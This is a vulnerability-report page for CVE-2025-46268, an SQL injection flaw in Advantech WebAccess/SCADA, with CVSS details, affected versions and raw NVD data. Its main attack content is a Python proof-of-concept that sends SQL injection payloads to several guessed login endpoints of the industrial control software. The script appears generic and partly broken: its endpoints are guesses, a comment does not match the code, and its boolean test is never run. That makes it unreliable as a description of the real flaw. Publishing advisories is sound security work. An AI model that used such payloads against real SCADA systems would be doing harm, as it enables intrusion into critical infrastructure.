Security Vulnerability Report
中文
CVE-2025-46268 CVSS 6.3 MEDIUM

CVE-2025-46268

Published: 2025-12-18 21:15:53
Last Modified: 2025-12-31 19:38:09

Description

Advantech WebAccess/SCADA  is vulnerable to SQL injection, which may allow an attacker to execute arbitrary SQL commands.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:advantech:webaccess\/scada:9.2.1:*:*:*:*:*:*:* - VULNERABLE
Advantech WebAccess/SCADA < 最新安全补丁版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-46268 SQL Injection PoC for Advantech WebAccess/SCADA # Target: Advantech WebAccess/SCADA # Vulnerability: SQL Injection in web interface import requests import sys def test_sql_injection(target_url): """ Test for SQL injection vulnerability in Advantech WebAccess/SCADA This PoC demonstrates blind boolean-based SQL injection """ # Common injection points in SCADA applications injection_points = [ "/nodeapi/NodeLogin", "/WADashboard/Service", "/scada/Service", "/api/auth/login" ] # Payload for testing boolean-based blind SQL injection # Original param + sleep(5) to verify time-based injection test_payload = "' OR 1=1 --" print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-46268 SQL Injection Test") for endpoint in injection_points: url = target_url.rstrip('/') + endpoint # Test data - adjust based on actual application parameters data = { "username": test_payload, "password": "test" } try: print(f"\n[+] Testing endpoint: {endpoint}") # Time-based test time_payload = "' WAITFOR DELAY '0:0:5' --" test_data = {"username": time_payload, "password": "test"} response = requests.post(url, data=test_data, timeout=10) if response.elapsed.total_seconds() >= 5: print(f"[!] VULNERABLE: Time-based SQL injection detected at {endpoint}") print(f"[!] Response time: {response.elapsed.total_seconds()}s") return True # Boolean-based test true_payload = "' OR 1=1 --" false_payload = "' OR 1=2 --" # Check for different responses indicating SQL injection print(f"[*] Testing boolean-based injection...") except requests.exceptions.Timeout: print(f"[!] VULNERABLE: Request timeout at {endpoint} - possible time-based SQLi") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {endpoint}: {e}") continue print("\n[*] Basic tests completed. Manual verification recommended.") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = input("Enter target URL (e.g., http://target:8080): ").strip() test_sql_injection(target) print("\n[*] Note: This PoC is for authorized security testing only.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-46268", "sourceIdentifier": "[email protected]", "published": "2025-12-18T21:15:53.347", "lastModified": "2025-12-31T19:38:09.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Advantech WebAccess/SCADA \nis vulnerable to SQL injection, which may allow an attacker to execute arbitrary SQL commands."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:advantech:webaccess\\/scada:9.2.1:*:*:*:*:*:*:*", "matchCriteriaId": "211D6D3C-96AE-409D-A37B-FCF2A86D6DB9"}]}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-352-06.json", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.advantech.com/en-us/support/details/installation?id=1-MS9MJV", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-352-06", "source": "[email protected]", "tags": ["Third Party Advisory", "US Government Resource"]}]}}